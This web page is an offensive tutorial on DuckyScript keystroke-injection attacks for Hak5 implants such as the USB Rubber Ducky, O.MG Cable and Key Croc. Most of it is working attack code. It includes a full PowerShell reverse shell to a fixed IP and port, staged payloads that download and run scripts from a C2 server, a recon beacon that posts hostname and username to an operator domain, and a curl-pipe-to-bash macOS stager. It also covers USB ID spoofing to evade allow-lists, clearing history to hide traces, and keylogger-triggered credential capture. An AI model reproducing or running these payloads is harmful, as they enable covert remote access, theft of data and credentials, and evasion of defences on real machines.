top of page

DuckyScript (Scripting Keystroke Injection Attacks)

DuckyScript (Scripting Keystroke Injection Attacks) | Black Hat HQ

DuckyScript (Keystroke Injection Scripts)


DuckyScript is the domain-specific language created by Hak5 for programming keystroke injection attacks. It's the engine behind the USB Rubber Ducky, and now runs on nearly every Hak5 implant — O.MG Cable, Key Croc, Packet Squirrel Mark II, WiFi Pineapple Pager, Bash Bunny, and the Shark Jack. Despite its simple appearance, the language has evolved through three major generations with dramatically different capabilities.


What DuckyScript Actually Is


At its core, DuckyScript is a human-readable abstraction over HID (Human Interface Device) keystroke injection. When you write GUI r and STRING notepad.exe, the DuckyScript compiler translates that into raw USB HID scan codes — the same binary format a physical keyboard sends to the operating system. The target computer cannot distinguish a DuckyScript payload from a human typing. No drivers. No software agent. No privileges required. The OS sees a keyboard and processes the input exactly as it would from a real typist.


This is why DuckyScript bypasses basically everything: application allow-listing, endpoint detection, anti-virus — none of them block keyboards. The attack surface is the HID protocol itself, which is trusted by design.


DuckyScript 1.0 - The Original (Classic)


This is the original language shipped with the USB Rubber Ducky. Minimal, flat, single-file, no variables, no logic beyond IF conditions detecting OS via keyboard LEDs.


Core Commands


Command

Action

REM

Comment. Ignored by compiler.

DEFAULT_DELAY / DEFAULTDELAY

Sets delay (in ms) between each subsequent command. Default: 18ms.

DELAY 500

Pause for N milliseconds. Essential — OS needs time to open menus, launch apps, render UI before you type into them.

STRING hello world

Types the literal text that follows. Spaces, punctuation, everything.

ENTER

Presses Enter.

GUI r

Windows key + R (Run dialog). GUI is the Windows/Command/Super key.

MENU / APP

Context menu key (Shift+F10 equivalent on keyboards that have it).

SHIFTCTRL / CONTROLALTTABESCSPACE

Single-key modifiers and special keys.

CAPSLOCKNUMLOCKSCROLLLOCK

Toggle lock keys.

WINDOWS / GUI

All three are aliases for the same modifier.

COMMAND

macOS-specific alias for GUI.

UPDOWNLEFTRIGHT

Arrow keys.

UPARROWDOWNARROWLEFTARROWRIGHTARROW

Aliases.

INSERTDELETEHOMEENDPAGEUPPAGEDOWN

Navigation keys.

PRINTSCREENPAUSE / BREAK

Special function keys.

F1F12

Function keys.

REPEAT n

Repeats the previous command n times. e.g., DELETE followed by REPEAT 50 deletes 50 characters.


Multi-Key Combos


Any combination of modifier + key:


CTRL ALT DELETE        → Ctrl+Alt+Del
GUI d                  → Minimize all windows (Win+D)
SHIFT F10              → Right-click equivalent
CTRL SHIFT ESC         → Task Manager
CTRL c                 → Copy
CTRL v                 → Paste

Delay Configuration


DEFAULT_DELAY 50       → 50ms between every command
DEFAULTDELAY 0         → No delay (dangerous — will outrun the OS)
DELAY 3000             → 3 second pause

Real engagements need tuning. Too fast and the payload outruns the OS (Run dialog isn't open yet when you start typing). Too slow and the implant sits there too long. Typical values: DEFAULT_DELAY 10–50ms, strategic DELAY commands of 500–3000ms after GUI interactions.


OS Detection via LEDs


DuckyScript 1.0's only "logic" — IF conditions that detect which OS is running by toggling keyboard LEDs and reading their state back:


IF CAPSLOCK              → Check if Caps Lock LED is on
IF NOT_CAPSLOCK          → Check if Caps Lock LED is off

; Windows (Caps Lock doesn't toggle on OS X / some Linux configs)
; Not reliable enough for real operations — most payloads are single-target

The LED trick works because different OSes handle Caps Lock state differently during the initial HID handshake. This was clever in 2010 but is unreliable on modern systems and rarely used in serious payloads. Most operators write single-target payloads or use DuckyScript 3.0's EXTENSION DETECT_OS.


Example: Classic Reverse Shell (DuckyScript 1.0)


REM Windows reverse shell via Run dialog
DELAY 2000
GUI r
DELAY 500
STRING powershell -NoP -NonI -W Hidden -Exec Bypass -C "$c=New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$t=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($t,0,$t.Length);$s.Flush()};$c.Close()"
ENTER

This is the payload that made the Rubber Ducky famous. It opens Run, types a PowerShell one-liner reverse shell, and hits Enter. From plug-in to shell: ~3 seconds. The target sees a flash of the Run dialog, maybe a flicker of a PowerShell window — if they're looking.


DuckyScript 1.0 Limitations


  • No variables. Can't store and reuse data.

  • No functions / subroutines. All code is linear.

  • No arithmetic or string manipulation.

  • No file I/O. Can't read switch position, config files, or external data.

  • LED-based OS detection is flaky.

  • No extension mechanism. Language is a closed set of hardcoded commands.

  • Single file only. No #include, no modular payloads.

  • No loops beyond REPEAT n. Can't loop conditionally or indefinitely.


DuckyScript 2.0 - Programming Language Features


Introduced with the USB Rubber Ducky (2022 redesign, though the firmware supported it) and later adopted by the Bash Bunny Mark II. This was a major leap — DuckyScript became a proper programming language.


New Features


Feature

Syntax

Example

Variables

$VARNAME = value

$IP = "10.10.10.5"

String interpolation

STRING The target is $IP

Types: "The target is 10.10.10.5"

Integer variables

$COUNT = 3

Arithmetic: $COUNT = $COUNT + 1

Functions

FUNCTION name() ... END_FUNCTION

Reusable subroutines

If/Else

IF (condition) ... ELSE ... END_IF

Real conditional branching

While loops

WHILE (condition) ... END_WHILE

Conditional looping

Switch position

$_SWITCH_POSITION

Read physical switch on Rubber Ducky (1-4 or any custom position)

Random numbers

$_RANDOM_MIN$_RANDOM_MAX

Random delay between 100-500ms: DELAY $_RANDOM(100,500)

Buttons (Key Croc)

$_BUTTON_DOWN$_BUTTON_UP

Read physical button on Key Croc

Match variables (Key Croc)

$_MATCH

Content of the keylogger pattern match that triggered the payload

Attack modes

ATTACKMODE HID STORAGE

Switch USB modes: HID (keyboard), STORAGE (flash drive), SERIAL, ECM (Ethernet), composite combinations

VID/PID override

ATTACKMODE VID_0x045E PID_0x07A5

Spoof a specific keyboard's USB IDs to bypass allow-lists

LED control

LED_RLED_GLED_B

Set RGB LED color on devices that have one

Button wait

BUTTON_DEF

Wait for button press before executing

Multi-stage

WAKE_HOST

Wake sleeping computer before injecting


Example: DuckyScript 2.0 with Variables and Functions


REM Multi-stage payload with error handling
DEFAULT_DELAY 20
$TARGET_IP = "192.168.45.189"
$PORT = 8443

FUNCTION OPEN_RUN()
    GUI r
    DELAY 300
END_FUNCTION

FUNCTION STAGE_ONE()
    OPEN_RUN
    STRING powershell -NoP -W Hidden -C "iwr http://$TARGET_IP/stage1.ps1 -OutFile $env:TEMP\s1.ps1; & $env:TEMP\s1.ps1 -TargetIP $TARGET_IP -Port $PORT"
    ENTER
END_FUNCTION

FUNCTION STAGE_TWO()
    DELAY 5000
    OPEN_RUN
    STRING powershell -NoP -W Hidden -C "iwr http://$TARGET_IP/stage2.ps1 -OutFile $env:TEMP\s2.ps1; & $env:TEMP\s2.ps1"
    ENTER
END_FUNCTION

REM Pick payload based on switch position
IF ($_SWITCH_POSITION == 1) THEN
    STAGE_ONE
ELSE IF ($_SWITCH_POSITION == 2) THEN
    STAGE_TWO
ELSE
    LED_R
    BUTTON_DEF
    STAGE_ONE
END_IF

LED_G

The operator can flip the physical switch to change behavior without recompiling. Position 1 runs stage one. Position 2 runs stage two. Any other position waits for a button press (on supported hardware) and blinks red to indicate it's armed and waiting.


ATTACKMODE Deep Dive


USB composite devices can present as multiple device classes simultaneously. DuckyScript exposes this:


ATTACKMODE HID                → Keyboard only (stealthier)
ATTACKMODE STORAGE            → Flash drive only
ATTACKMODE HID STORAGE        → Keyboard + flash drive (classic Rubber Ducky)
ATTACKMODE HID SERIAL         → Keyboard + serial console
ATTACKMODE HID ECM            → Keyboard + Ethernet over USB (for network-based exfil)
ATTACKMODE HID STORAGE SERIAL → Keyboard + storage + serial

ECM (Ethernet Control Model) is particularly interesting — it makes the implant look like a USB Ethernet adapter. The target computer gets a new network interface. Combined with appropriate routing, this creates a covert channel that doesn't go through the target's firewall or network monitoring.

VID/PID spoofing is critical for bypassing naive USB device allow-listing:


ATTACKMODE HID VID_0x046D PID_0xC31C   → Appears as a Logitech keyboard
ATTACKMODE HID VID_0x045E PID_0x07A5   → Appears as a Microsoft keyboard
ATTACKMODE HID VID_0x05AC PID_0x024F   → Appears as an Apple keyboard

DuckyScript 3.0 - Extensions, Preprocessing, and Modernization


DuckyScript 3.0 is the current generation, introduced alongside the O.MG Cable Elite and WiFi Pineapple Pager. This isn't just incremental — it introduces a preprocessor, extension system, and a fundamentally more capable runtime.


Preprocessor Directives


Borrowed from C, the preprocessor runs before compilation:


#include "payloads/common.ds"       → Include external files
#define $MY_IP "10.10.10.5"         → Compile-time constant (type-safe, inline)
#ifdef _WINDOWS                        → Conditional compilation
#ifdef _MACOS
#ifdef _LINUX
#ifndef
#else
#endif

This enables modular, maintainable payload libraries. Instead of one monolithic script, you can have:


#include "lib/windows/functions.ds"
#include "lib/common/evasion.ds"
#define $C2 "c2.operator.com"
#define $PORT 443

...payload body...

Extensions


Extensions are dynamically loaded modules that expose new capabilities. They're written in C (compiled for the implant's architecture) and provide functions callable from DuckyScript:


EXTENSION DETECT_OS               → Reliable OS detection (no LED tricks)
EXTENSION EXFIL                   → File exfiltration
EXTENSION WIFI                    → WiFi scanning and credential capture
EXTENSION BLE                     → Bluetooth LE operations
EXTENSION TCP                     → Raw TCP sockets
EXTENSION UDP                     → Raw UDP sockets
EXTENSION HTTP                    → HTTP client (GET/POST)
EXTENSION KEYLOGGER               → Hardware keylogger (O.MG Cable Elite)
EXTENSION SELF_DESTRUCT           → Destroy the implant
EXTENSION GEOLOCATION             → Wi-Fi positioning via nearby BSSIDs
EXTENSION ENCRYPT                 → AES encrypt/decrypt
EXTENSION HASH                    → MD5/SHA hash functions
EXTENSION SLEEP                   → Low-power sleep with wake triggers
EXTENSION BUTTON                   → Button input (press, hold, combo detection)
EXTENSION NOTIFY                  → Push notification via Cloud C2
EXTENSION CRYPTO                  → Additional crypto operations

Example usage:

EXTENSION DETECT_OS
VAR $os = DETECT_OS
IF ($os == "WINDOWS") THEN
    ; Windows payload
ELSE IF ($os == "MACOS") THEN
    ; macOS payload
ELSE IF ($os == "LINUX") THEN
    ; Linux payload
END_IF

Or WiFi exfil:


EXTENSION WIFI
VAR $networks = WIFI_SCAN
WIFI_CONNECT "Starbucks WiFi" ""    → Open network
WIFI_CONNECT "CorpNet" "password"   → WPA2

EXTENSION HTTP
HTTP_POST "https://c2.example.com/dump" $data

Function Improvements


Functions now support parameters and return values:


FUNCTION POWERSHELL_ENCODE($CMD)
    $encoded = BASE64_ENCODE($CMD)
    RETURN "powershell -NoP -Enc $encoded"
END_FUNCTION

VAR $payload = POWERSHELL_ENCODE("whoami; hostname; ipconfig")
STRING $payload

Hardware-Aware Features


DuckyScript 3.0 is device-aware. It knows what hardware it's running on and exposes device-specific capabilities:


On O.MG Cable Elite:
    KEYLOGGER_START           → Start hardware keylogger
    KEYLOGGER_STOP            → Stop and retrieve buffer
    KEYLOGGER_CLEAR           → Wipe keylog buffer
    SELF_DESTRUCT             → Physically destroy the cable (burns internal components)
    GEOLOCATE                 → WiFi-based location lookup
    
On Key Croc:
    $_MATCH                   → The pattern-matched keyword that triggered
    $_KEYSTROKES              → Buffer of recent keystrokes
    MATCH "password"          → Set match trigger
    
On Packet Squirrel Mark II:
    NETMODE TRANSPARENT       → Transparent bridge (passive sniffing)
    NETMODE CLONE             → MAC spoofing
    NETMODE JAIL              → Isolate target, respond to its DHCP
    NETMODE ISOLATE           → Target isolated, no passthrough

Device Compatibility Matrix


Device

DuckyScript Version

Key Features

USB Rubber Ducky (classic)

1.0

Basic keystroke injection, ATTACKMODE, LED OS detection

USB Rubber Ducky (2022)

2.0

Variables, functions, IF/WHILE, switch position, random delays

Bash Bunny

1.0 + Bunny extensions

Multi-attack switch, multiple payload files

Bash Bunny Mark II

2.0 + extensions

Full DuckyScript 2.0, Cloud C2 native

O.MG Cable (Basic)

2.0 subset

Core injection, WiFi control

O.MG Cable (Elite)

3.0

Full 3.0, extensions, keylogger, self-destruct, geofencing

Key Croc

2.0 + Croc extensions

Match variables, button, keylogger buffer

Packet Squirrel Mark II

2.0 + NETMODE extensions

Network modes, TCP/UDP/HTTP extensions

WiFi Pineapple Pager

3.0

Full 3.0, PineAP integration, DuckyScript payload engine

Shark Jack

2.0 subset

Single-file payload, serial console output


Development Tools & Compilation


Payload Studio (Hak5 Official)


Web-based IDE at payloadstudio.hak5.org. Syntax highlighting, auto-complete, version management, community payload library, and direct compilation to inject.bin. Compiles for all supported devices with target-specific optimizations.


DuckEncoder (Classic Offline)


The original Java-based encoder for DuckyScript 1.0. Takes a .txt payload file, produces inject.bin. Still works for legacy payloads but doesn't support 2.0/3.0 features.


PayloadStudio Desktop


Offline Electron-based version of Payload Studio. Useful for air-gapped payload development.


Community Payloads


payloadstudio.hak5.org/community — thousands of community-contributed payloads. Categories: credential harvesting, reverse shells, privesc, exfiltration, pranks, recon, persistence. Varying quality — audit before using.


Runtime Behavior & Delivery


USB Rubber Ducky


  1. Insert Ducky into USB port

  2. Ducky enumerates as a USB HID keyboard (and optionally mass storage)

  3. OS recognizes new keyboard — no prompt, no driver install (HID is universal)

  4. Ducky reads inject.bin from MicroSD, parses DuckyScript bytecode

  5. Injects keystrokes at the speed defined by DEFAULT_DELAY / DELAY

  6. Ejects or continues based on payload (LED shows status)


O.MG Cable


  1. Cable is plugged in (looks like a normal charging cable)

  2. Attacker connects to cable's WiFi access point or Cloud C2

  3. Payload triggered remotely via web interface, script, or physical button

  4. Injections happen while victim uses the cable normally to charge/transfer data

  5. Keylogger (Elite) runs continuously, payload triggers on MATCH keywords


Key Croc


  1. Croc sits inline between keyboard and computer

  2. Keyboard works normally — victim notices nothing

  3. Keylogger runs continuously, buffering keystrokes

  4. When a MATCH keyword is typed (e.g., "password:"), Croc triggers the associated payload

  5. Payload executes with the victim's authenticated session, at the exact moment of credential entry


Practical OPSEC Considerations


Delay Tuning is Critical


The most common payload failure mode is typing too fast. The OS needs time to:


  • Open the Run dialog after GUI r (200–500ms on a modern SSD, 500–2000ms on spinning rust)

  • Launch PowerShell (500–2000ms depending on system load)

  • Process each character (default 18ms is safe, 5ms is pushing it on some systems)


A payload that works perfectly on a fast i7 workstation might fail on a locked-down corporate thin client. Test on representative hardware.


Language/Layout Assumptions


STRING powershell types the characters p-o-w-e-r-s-h-e-l-l. On a US keyboard, that's fine. On an AZERTY keyboard, those same scan codes produce completely different characters. The Ducky sends USB HID scan codes, not characters. The target's keyboard layout maps scan codes to glyphs. Always know (or force) the target's keyboard layout.


DuckyScript 3.0 partially mitigates this with EXTENSION DETECT_KB_LAYOUT on some devices.


ATTACKMODE Selection


  • HID alone is stealthiest — no storage device appears, no "would you like to format?" popup

  • HID STORAGE is the classic but generates a drive letter and potential autorun scan

  • HID ECM creates a network interface — stealthy on some systems, triggers network alerts on others

  • VID/PID spoofing matters for organizations that use USB device control software


Cleanup


A professional payload cleans up after itself. After the reverse shell is established or the payload stager has run, the script should:


  1. Close the PowerShell/terminal window it opened

  2. Clear PowerShell history (Clear-History or delete ConsoleHost_history.txt)

  3. Delete any dropped files

  4. Disconnect gracefully


Leaving a PowerShell window open with a command in the buffer is amateur hour.


Example: Full DuckyScript 3.0 Staged Payload


REM ============================================
REM Multi-OS staged payload with exfil
REM DuckyScript 3.0 — O.MG Cable Elite
REM ============================================

#include "lib/common/evasion.ds"
#include "lib/common/exfil.ds"

#define $C2_SERVER "api.operator-c2.com"
#define $STAGE_PATH "/s/"

DEFAULT_DELAY 15  ; Conservative for unknown hardware

EXTENSION DETECT_OS
EXTENSION HTTP
EXTENSION ENCRYPT

VAR $os = DETECT_OS
VAR $hostname = ""
VAR $username = ""

LED_B  ; Blue = detecting OS

IF ($os == "WINDOWS") THEN
    LED_G  ; Green = Windows confirmed
    
    DELAY 2000
    GUI r
    DELAY 300
    STRING powershell -NoP -W Hidden -C "
    ENTER
    
    DELAY 3000
    GUI r
    DELAY 300
    
    ; Stage 1: lightweight recon, beacon back
    STRING powershell -NoP -W Hidden -C "$h=hostname;$u=$env:USERNAME;$ip=(Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -NotLike '*Loopback*').IPAddress;$d='{\"host\":\"'+$h+'\",\"user\":\"'+$u+'\",\"ip\":\"'+$ip[0]+'\",\"os\":\"win\"}';iwr -Uri 'https://$C2_SERVER/beacon' -Method POST -Body $d -UseBasicParsing"
    ENTER
    
ELSE IF ($os == "MACOS") THEN
    LED_Y  ; Yellow = macOS
    
    DELAY 2000
    GUI SPACE  ; Spotlight
    DELAY 500
    STRING terminal
    DELAY 1000
    ENTER
    DELAY 1000
    
    STRING curl -s https://$C2_SERVER/$STAGE_PATH/mac.sh | bash &
    ENTER
    
    DELAY 500
    GUI h  ; Hide terminal
END_IF

LED_OFF  ; Payload complete

This payload adapts to the target OS, beacons back to C2 with host info, and stages further instructions. The operator now has OS, hostname, username, and local IP — enough to decide whether to deploy a full implant.


Please Donate | Black Hat HQ
Check Out Our Elite Cyberstore | Black Hat HQ
Enroll In Online Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


bottom of page